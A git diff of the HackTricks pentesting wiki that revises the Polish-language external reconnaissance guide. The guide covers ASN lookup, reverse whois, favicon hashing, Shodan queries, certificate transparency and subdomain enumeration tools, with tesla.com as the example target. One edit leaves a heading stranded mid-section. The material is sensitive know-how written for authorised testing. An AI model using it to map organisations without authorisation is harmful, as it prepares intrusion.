diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..e70bceed6
Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index e70bceed6..2173ed0a4 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 2173ed0a4..53e9f7c1f 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 53e9f7c1f..0ea1b8586 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0ea1b8586..b38f1e7c3 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index b38f1e7c3..0e554c193 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0e554c193..a8cfa5b77 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index a8cfa5b77..33c23d55b 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 33c23d55b..bedca8e18 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index bedca8e18..a0a303a29 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index a0a303a29..f9a051e20 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index f9a051e20..0b96b38ef 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
index 0b96b38ef..0ea2dbdc6 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index 0ea2dbdc6..af973a127 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index af973a127..4207464e0 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index 4207464e0..ca4f55331 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index ca4f55331..1e61555dd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index 1e61555dd..6856b34b8 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index 6856b34b8..cee86ab50 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index cee86ab50..1a985c3d4 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 1a985c3d4..70fe9294a 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/SUMMARY.md b/SUMMARY.md
index a1eda7d91..1f0d19d0f 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -161,6 +161,7 @@
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
+ * [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
@@ -509,7 +510,7 @@
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
-## 🕸 Pentesting Web
+## 🕸️ Pentesting Web
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
@@ -664,7 +665,7 @@
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
-## ⛈ Cloud Security
+## ⛈️ Cloud Security
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
@@ -722,7 +723,7 @@
* [ICMPsh](backdoors/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
-## ✍ TODO
+## ✍️ TODO
* [Other Big References](misc/references.md)
* [Rust Basics](todo/rust-basics.md)
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index d652ed2ea..5d933cf49 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -10,11 +10,11 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego_).
@@ -24,27 +24,27 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego - **rekrut
> Powiedziano Ci, że wszystko należące do pewnej firmy znajduje się w zakresie, i chcesz dowiedzieć się, co ta firma faktycznie posiada.
-Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy**, a następnie wszystkich **zasobów** tych firm. Aby to osiągnąć, będziemy:
+Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy**, a następnie wszystkich **zasobów** tych firm. Aby to zrobić, będziemy:
1. Znaleźć przejęcia głównej firmy, co pozwoli nam poznać firmy wchodzące w zakres.
-2. Znaleźć numer ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
+2. Znaleźć ASN (jeśli istnieje) każdej firmy, co pozwoli nam poznać zakresy IP posiadane przez każdą firmę.
3. Użyć odwróconego wyszukiwania whois, aby szukać innych wpisów (nazwy organizacji, domeny...) związanych z pierwszym (można to zrobić rekurencyjnie).
4. Użyć innych technik, takich jak filtry shodan `org` i `ssl`, aby szukać innych zasobów (szczególnie trik z `ssl` można wykonać rekurencyjnie).
### **Przejęcia**
Po pierwsze, musimy dowiedzieć się, które **inne firmy należą do głównej firmy**.\
-Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukanie** **głównej firmy** i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
-Inną opcją jest odwiedzenie strony **Wikipedii** głównej firmy i wyszukanie **przejęć**.
+Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukanie** **głównej firmy**, a następnie **kliknięcie** w "**przejęcia**". Tam zobaczysz inne firmy przejęte przez główną.\
+Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukanie **przejęć**.
-> W tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Sprawdźmy teraz, jak znaleźć ich zasoby.
+> Ok, w tym momencie powinieneś znać wszystkie firmy wchodzące w zakres. Spróbujmy teraz dowiedzieć się, jak znaleźć ich zasoby.
-### **ASN-y**
+### **ASNs**
Numer autonomicznego systemu (**ASN**) to **unikalny numer** przypisany **autonomicznemu systemowi** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
-AS składa się z **bloków** adresów IP, które mają jasno określoną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
+**AS** składa się z **bloków** **adresów IP**, które mają zdefiniowaną politykę dostępu do sieci zewnętrznych i są administrowane przez jedną organizację, ale mogą składać się z kilku operatorów.
-Interesujące jest dowiedzieć się, czy **firma ma przypisany jakiś ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i szukać domen w tych IP.\
+Interesujące jest dowiedzieć się, czy **firma ma przypisany jakiś ASN**, aby znaleźć jej **zakresy IP**. Warto przeprowadzić **test podatności** przeciwko wszystkim **hostom** w **zakresie** i szukać **domen** w tych IP.\
Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**W zależności od regionu firmy te linki mogą być przydatne do zebrania więcej danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** znajdują się już na pierwszym linku.
```bash
@@ -52,7 +52,7 @@ Możesz **szukać** po nazwie firmy, po **IP** lub po **domenie** na stronie [**
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
-Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** automatycznie agreguje i podsumowuje ASNs na końcu skanowania.
+Również, [**BBOT**](https://github.com/blacklanternsecurity/bbot)** automatycznie agreguje i podsumowuje ASNs na końcu skanowania subdomen.
```bash
bbot -t tesla.com -f subdomain-enum
...
@@ -100,7 +100,7 @@ Możesz także skorzystać z narzędzia online do uzyskania tych informacji: [ht
### **Reverse Whois (pętla)**
-Wewnątrz **whois** można znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **adresy e-mail**, numery telefonów... Ale co jeszcze bardziej interesujące, to że można znaleźć **więcej zasobów związanych z firmą**, jeśli przeprowadzisz **odwrotne wyszukiwanie whois po dowolnym z tych pól** (na przykład inne rejestry whois, gdzie pojawi się ten sam adres e-mail).\
+Wewnątrz **whois** można znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **maile**, numery telefonów... Ale co jeszcze bardziej interesujące, to że można znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrotne wyszukiwanie whois po dowolnym z tych pól** (na przykład inne rejestry whois, gdzie pojawi się ten sam adres e-mail).\
Możesz skorzystać z narzędzi online, takich jak:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
@@ -112,7 +112,7 @@ Możesz skorzystać z narzędzi online, takich jak:
* [https://www.domainiq.com/](https://www.domainiq.com) - Płatne
Możesz zautomatyzować to zadanie, korzystając z [**DomLink** ](https://github.com/vysecurity/DomLink)(wymaga klucza API whoxy).\
-Możesz także automatycznie odkrywać odwrotne wyszukiwanie whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
+Możesz także automatycznie odkrywać odwrotne whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Zauważ, że tę technikę można wykorzystać do odkrywania kolejnych nazw domen za każdym razem, gdy znajdziesz nową domenę.**
@@ -131,20 +131,20 @@ Istnieją strony i narzędzia, które pozwalają wyszukiwać te śledzacze i wi
### **Favicon**
-Czy wiedziałeś, że możemy znaleźć powiązane domeny i subdomeny naszego celu, szukając tego samego skrótu ikony favicon? Dokładnie to robi narzędzie [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) stworzone przez [@m4ll0k2](https://twitter.com/m4ll0k2). Oto jak go używać:
+Czy wiedziałeś, że możemy znaleźć powiązane domeny i subdomeny naszego celu, szukając tego samego skrótu ikony favicon? Dokładnie to robi narzędzie [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) stworzone przez [@m4ll0k2](https://twitter.com/m4ll0k2). Oto jak go użyć:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - odkryj domeny z tym samym haszem ikony favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
-Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hash ikony favicon co nasz cel.
+Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hasz ikony favicon co nasz cel.
-Co więcej, możesz również wyszukiwać technologie za pomocą hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
+Co więcej, możesz również wyszukiwać technologie za pomocą hasza favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hasz faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
-To jest sposób obliczenia **skrótu ikony strony** internetowej:
+To jest sposób obliczenia **skrótu favicon** strony internetowej:
```python
import mmh3
import requests
@@ -159,50 +159,55 @@ return fhash
```
### **Prawo autorskie / Unikalny ciąg znaków**
-Wyszukaj wewnątrz stron internetowych **ciągi znaków, które mogą być udostępniane na różnych stronach w tej samej organizacji**. **Ciąg znaków praw autorskich** mógłby być dobrym przykładem. Następnie wyszukaj ten ciąg znaków w **Google**, w innych **przeglądarkach** lub nawet w **Shodan**: `shodan search http.html:"Ciąg znaków praw autorskich"`
+Wyszukaj na stronach internetowych **ciągi znaków, które mogą być udostępniane na różnych stronach w tej samej organizacji**. **Ciąg znaków praw autorskich** może być dobrym przykładem. Następnie wyszukaj ten ciąg znaków w **Google**, innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Ciąg znaków praw autorskich"`
### **Czas CRT**
-To jest powszechne, aby mieć zadanie cron, takie jak
+To powszechne mieć zadanie cron, takie jak
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
-### **Metodologia pasywnego przejęcia**
+### Metodologia zewnętrznego rozpoznawania
-Wygląda na to, że ludzie często przypisują subdomeny do adresów IP należących do dostawców chmurowych i w pewnym momencie **tracą ten adres IP, ale zapominają usunąć rekord DNS**. Dlatego po prostu **uruchamiając maszynę wirtualną** w chmurze (np. Digital Ocean) faktycznie **przejmiesz niektóre subdomeny**.
+Aby odnowić wszystkie certyfikaty domen na serwerze. Oznacza to, że nawet jeśli CA używane do tego nie ustawia czasu generacji w Czasie ważności, jest możliwe **znalezienie domen należących do tej samej firmy w dziennikach transparentności certyfikatów**.\
+Sprawdź ten [**artykuł, aby uzyskać więcej informacji**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
-[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia tę kwestię i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny i **szuka w Virustotal rekordów subdomen** wskazujących na nią.
+### **Pasywne przejęcie**
+
+Wygląda na to, że ludzie często przypisują subdomeny do IP, które należą do dostawców chmurowych i w pewnym momencie **tracą ten adres IP, ale zapominają usunąć rekord DNS**. Dlatego po prostu **uruchamiając maszynę wirtualną** w chmurze (np. Digital Ocean) faktycznie **przejmiesz niektóre subdomeny**.
+
+[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny, a następnie **szuka w Virustotal rekordów subdomen** wskazujących na nią.
### **Inne sposoby**
-**Zauważ, że możesz wykorzystać tę technikę, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
+**Zauważ, że możesz użyć tej techniki, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
**Shodan**
-Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP, możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych, nieoczekiwanych domen w certyfikacie TLS.
+Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP. Możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych nieoczekiwanych domen w certyfikacie TLS.
-Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji** i następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji**, a następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) to narzędzie, które szuka **powiązanych domen** z główną domeną i ich **subdomen**, całkiem niesamowite.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) to narzędzie, które szuka **powiązanych domen** z główną domeną i **ich subdomen**, całkiem niesamowite.
### **Wyszukiwanie podatności**
-Sprawdź, czy istnieje możliwość [przejęcia domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
+Sprawdź, czy istnieje możliwość [przejęcia domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa pewnej domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
-Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś podczas odkrywania zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (za pomocą Nessusa lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
-_Zauważ, że czasami domena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest to w zakresie, bądź ostrożny._
+Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (za pomocą Nessus lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
+_Zauważ, że czasami domena jest hostowana wewnątrz IP, które nie jest kontrolowane przez klienta, więc nie jest to w zakresie, bądź ostrożny._
\
-**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
+**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, platformie **bug bounty premium stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomeny
-> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie powiązane z nimi domeny.
+> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie domeny związane z firmami.
Nadszedł czas, aby znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
@@ -214,7 +219,7 @@ dnsrecon -a -d tesla.com
```
### **OSINT**
-Najszybszym sposobem na uzyskanie dużej liczby subdomen jest wyszukiwanie w zewnętrznych źródłach. Najczęściej używane **narzędzia** to:
+Najszybszym sposobem na uzyskanie wielu subdomen jest wyszukiwanie w źródłach zewnętrznych. Najczęściej używanymi **narzędziami** są następujące (dla uzyskania lepszych wyników skonfiguruj klucze API):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@@ -263,9 +268,9 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
-Istnieją **inne interesujące narzędzia/API**, które, nawet jeśli nie są bezpośrednio specjalizowane w znajdowaniu subdomen, mogą być przydatne do ich znalezienia, takie jak:
+Istnieją **inne interesujące narzędzia/API**, które mogą być przydatne do znalezienia subdomen, takie jak:
-* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Korzysta z interfejsu API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskiwania subdomen
+* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Korzysta z interfejsu API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskania subdomen
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@@ -295,12 +300,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla dowolnej domeny.
+* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla określonej domeny.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
-* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Szukają plików JS na stronach internetowych i wydobywają z nich subdomeny.
+* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Przeszukują internet w poszukiwaniu plików JS i wydobywają z nich subdomeny.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -332,9 +337,9 @@ Ten projekt oferuje **darmowo wszystkie subdomeny związane z programami bug bou
Możesz znaleźć **porównanie** wielu z tych narzędzi tutaj: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
